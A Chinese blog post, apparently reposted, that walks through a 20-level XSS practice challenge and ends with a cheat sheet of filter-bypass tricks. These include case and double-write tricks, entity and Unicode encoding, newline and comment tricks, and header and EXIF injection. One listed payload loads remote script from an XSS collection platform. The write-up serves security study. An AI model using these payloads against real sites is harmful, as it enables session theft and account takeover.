内容简介:写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下。有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战平台进行实现。未进行过滤,直接输入payloadpayload:<script>alert(/xss/)</script>
前言
写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下。有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战平台进行实现。
level1
未进行过滤,直接输入payload
payload:<script>alert(/xss/)</script>
level2
发现对html特殊符号进行了实体编码,<script>失效,但是发现下面input标签里还有一个输出点,可以对这个构造事件payload
payload:" onclick=alert(/xss/)><"
当然需要点击一下触发
level3
编码了双引号,但是源码里用的单引号,用单引号构造即可
payload:'onclick=alert(/xss/)><'
level4
过滤了<>符号,我们只能用事件绕过,这里利用浏览器的容错特性,不闭合直接注释也能执行
payload:" onclick=alert(/xss/)//
level5
有两处输出的地方,第一处对特殊符号进行了实体编码,第二处将on开头的事件全部替换加下斜杠,也将<script>标签替换为<scr_ipt>,并且做了转小写处理,这里因为匹配的是<script>标签,而不是script字符,所以可以使用javascript:alert(/xss/),并且可以闭合双引号,那我们就构造链接弹窗
payload:"><a href=javascript:alert(/xss/)>xss</a>
点击xss
level6
这里紧接就过滤了href标签,但是却没有做小写处理,可以用大写绕过匹配
payload:"><a Href=javascript:alert(/xss/)>xss</a>
或者:"><Script>alert(/xss/)</script>
level7
做了小写处理,将script和href,src,on等字符串替换为空字符
猜测只替换了一次,我们可以用双写绕过
payload:
"><scrscriptipt>alert(/xss/)</scrscriptipt> "><a hrhrefef=javascrscriptipt:alert(/xss/)>xss</a> "><img srsrcc="" oonnerror=alert(/xss/)> " oonnclick=alert(/xss/)><"
level8
做了小写处理,将script和href,src,on等字符串加上下斜杠,使其无法正常解析,还将双引号实体编码,是我们不能闭合双引号
这里是一个a标签,用href构造一个链接
想到可以调用外部js,但事实并没那么简单,因为完成目标需要在本页面弹窗,才会显示输出,并跳转到下一关
因为这里是先添加一个链接,再打开这个链接,会打开另一个界面,就不在本界面弹窗,所以外部调用不可行
只能用伪协议javascript:alert(/xss/),但script会被替换
那我们只有尝试编码绕过了
用实体编码可绕过
payload:
十进制实体编码:javascrip :alert(/xss/) 十六进制实体编码:javascript:alert(/xss/) 都是将t字符进行实体编码,当然对其他字符进行编码也可以,目的在于绕过服务端的匹配。客户端解析时又会将其转码为t,从而弹窗
level9
href里直接显示链接不合法,测试发现输入中必须包含http
那我们用注释符绕过即可,构造payload
payload:javascript:alert(/xss/)//http://192.168.1.3
或者javascript:alert(/xss/)//http://192.168.1.3
level10
这里发现输出的地方进行了html实体编码,一时间没找到突破口
查看源码才发现,t_sort变量的键值也是可定义的,过滤了<>符号,没有编码双引号,这里告诉我们要多测试一些变量
paylaod:
" type="text" onclick=alert(/xss/)" #因为页面中没有触发事件框,所以type="text"构造一个文本框
level11
查看源码发现多了一个键值t_ref,内容一看,不是上一题的url吗?猜测这是获取的http头里的referer字段
伪造referer字段即可
这里由于实战环境在虚拟环境内,且无网,没有burpsuite工具,不方便操作
只给出payload
referer: " type="text" onclick=alert(/xss/)"
level12
查看源码多了键值t_ua,应该是浏览器的User-Agent
同样用burpsuite伪造UA发包即可
paylaod:
User-Agent: " type="text" onclick=alert(/xss/)"
level13
查看源码多了键值t_cook,应该是cookie
同样用burpsuite伪造cookie发包即可
payload:
Cookie: " type="text" onclick=alert(/xss/)"
level14
查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,所以,也无法实践
exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗
具体实现使用kali下的exiftool工具
命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg
level15
什么?让我自己走出去。这里看来只能在url里面操作
发现src参数,查看源码发现把参数拼接到了最后一行输出,那这里应该是突破口了
这里估计使用ng-include,这个属性可以包含文件,默认是同域名的文件
那我们包含level1.php加上参数即可
payload:level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'
因为这里要访问上面的angular.min.js这个js文件,才能进行包含,虚拟环境里面无法访问那个js,因为需要fanqiang才能访问,根本没法实现,所以我找了外网的一样的xss挑战进行测试
成功包含level1弹窗
level16
这一关过滤了空格,还有script字符串,也替换成空格,编码为
这里我们可以使用换行符%0a(换行)或者%0d(回车)绕过
paylaod:<img%0asrc=x%0aonerror=alert(1)>
或者<svg%0aonload=alert(1)>
level17
查看源码,发现swf文件
百度了一下,以为是flash xss,但是始终利用不成功,结果好像不需要这样利用
直接把arg02赋值为
onclick=alert(1) #注意最前面有一个空格
查看源码发现自动补全了引号,我也不懂为啥
level18
与上一关一样的payload
level19
这一关没有自动添加双引号,自己写入的双引号也被编码。无法闭合,好像只有根据flash xss来构造payload,
level20
与上一关相似,待考究
总结
xss绕过方法
大小写绕过
<Script>alert(1)</Script>
双写绕过
<scrscriptipt>alert(1)</scrscriptipt>
替换绕过
过滤 alert 用prompt,confirm,top['alert'](1)代替绕过 过滤() 用``代替绕过 过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过 小写转大写情况下 字符ſ大写后为S(ſ不等于s)
%00截断绕过
<a href=javascr%00ipt:alert(1)>xss</a>
编码绕过
实体编码 javascript:alert(1) 十六进制 javascrip :alert(1) 十进制 unicode编码 javascripu0074:alert(1) url编码 javascrip%74:alert(1)
fromCharCode方法绕过
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59) eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))
javascript伪协议绕过
无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js
换行绕过正则匹配
onmousedown =alert(1)
注释符
// 单行注释 <!-- --!> 注释多行内容 <!-- --> 注释多行内容 <-- --> 注释多行内容 <-- --!> 注释多行内容 --> 单行注释后面内容 /* */ 多行注释 有时还可以利用浏览器的容错性,不需要注释
闭合标签空格绕过
</style ><script>alert(1)</script>
@符号绕过url限制
例如:https://www.segmentfault.com@xss.haozi.me/j.js
其实访问的是@后面的内容
")逃逸函数后接分号
例:");alert(1)//
绕过转义限制
例:
") alert(1) //
xss paylaod形式
<script>alert(1)</script> <script src="http://xsspt.com/vA4t1W?1542101296"></script> <img src=x onerror=alert(1)> <a href="javascript:alert(1)">xss</a> <svg onload=alert(1)> <input type="text" name="test" onclick=alert(1)> <iframe src="javascript:alert(/xss/)">xss</iframe> <iframe srcdoc="<script>alert 1 </script>">
以上所述就是小编给大家介绍的《XSS绕过实战练习》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 实战中如何绕过杀软用mimikatz获取账号密码
- DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass
- 浅谈WAF绕过技巧
- 文件上传限制绕过
- 文件上传限制绕过技巧
- 如何绕过AMSI
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
An Introduction to the Analysis of Algorithms
Robert Sedgewick、Philippe Flajolet / Addison-Wesley Professional / 1995-12-10 / CAD 67.99
This book is a thorough overview of the primary techniques and models used in the mathematical analysis of algorithms. The first half of the book draws upon classical mathematical material from discre......一起来看看 《An Introduction to the Analysis of Algorithms》 这本书的介绍吧!